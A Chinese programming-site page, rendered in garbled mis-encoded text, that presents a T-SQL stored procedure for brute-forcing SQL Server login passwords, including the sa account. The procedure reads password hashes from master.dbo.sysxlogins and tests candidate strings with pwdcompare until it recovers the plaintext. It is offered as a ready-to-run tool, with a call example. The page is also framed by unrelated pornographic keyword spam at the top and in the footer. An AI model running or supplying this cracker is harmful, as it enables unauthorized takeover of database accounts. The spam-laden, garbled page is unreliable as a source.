多多色-多人伦交性欧美在线观看-多人伦精品一区二区三区视频-多色视频-免费黄色视屏网站-免费黄色在线

國內(nèi)最全IT社區(qū)平臺 聯(lián)系我們 | 收藏本站
阿里云優(yōu)惠2
您當前位置:首頁 > 數(shù)據(jù)庫 > MySql > 存儲過程實例-SQL Server Sa密碼破解

存儲過程實例-SQL Server Sa密碼破解

來源:程序員人生   發(fā)布時間:2014-03-30 16:17:32 閱讀次數(shù):3673次
一個SQL Server Sa密碼破解的存儲過程:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--窮舉法破解 SQL Server 用戶密碼

可以破解中文,特殊字符,字符+尾隨空格的密碼

為了方便顯示特殊字符的密碼,在顯示結(jié)果中,顯示了組成密碼的ASCII

理論上可以破解任意位數(shù)的密碼

條件是你的電腦配置足夠,時間足夠

/*--調(diào)用示例

exec p_GetPassword

--*/

create proc p_GetPassword

@username sysname=null, --用戶名,如果不指定,則列出所有用戶

@pwdlen int=2 --要破解的密碼的位數(shù),默認是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用戶名=name,密碼=pwdstr,密碼ASCII=pwd

from #pwd

go
生活不易,碼農(nóng)辛苦
如果您覺得本網(wǎng)站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關(guān)閉
程序員人生
主站蜘蛛池模板: 最近中文字幕在线观看 | 欧美毛片网站 | 美国毛片网站 | 最近最新手机中文字幕在线看 | 午夜在线视频 | 欧美成人手机视频免费播放 | 欧洲免费无线码一二区 | 久久私人影院 | 忘忧草wyc.apk | 精品国产一区二区 | 欧美日韩一二三 | 亚洲性生活 | 欧美最猛黑人xxxx黑人猛交3p | 欧美日韩中文一区二区三区 | 性xx视频 | 欧美一区高清 | 青娱乐伊人 | 欧美一区二区三区东南亚 | 爱呦视频在线播放网址 | 中文字幕乱码系列免费 | 最近中文字幕免费2019 | 久久精品国产亚洲精品 | 动漫精品成人免费网站 | 亚洲国产成人资源在线桃色 | 2020欧美极品hd18 | 亚洲另类在线观看 | 日本久操 | 免费a级特黄国产大片 | 国产欧美一区二区久久 | 欧美性一级 | 永久免费看片 | 国产三级在线观看专区 | 久草福利在线视频 | 亚洲小说春色综合另类网蜜桃 | 国产成人一区二区三区精品久久 | 又黄又www| 日韩亚 | 免费区欧美一级毛片精品 | 亚洲欧美日韩国产一区二区精品 | 国产精品久草 | 超高清欧美同性videos |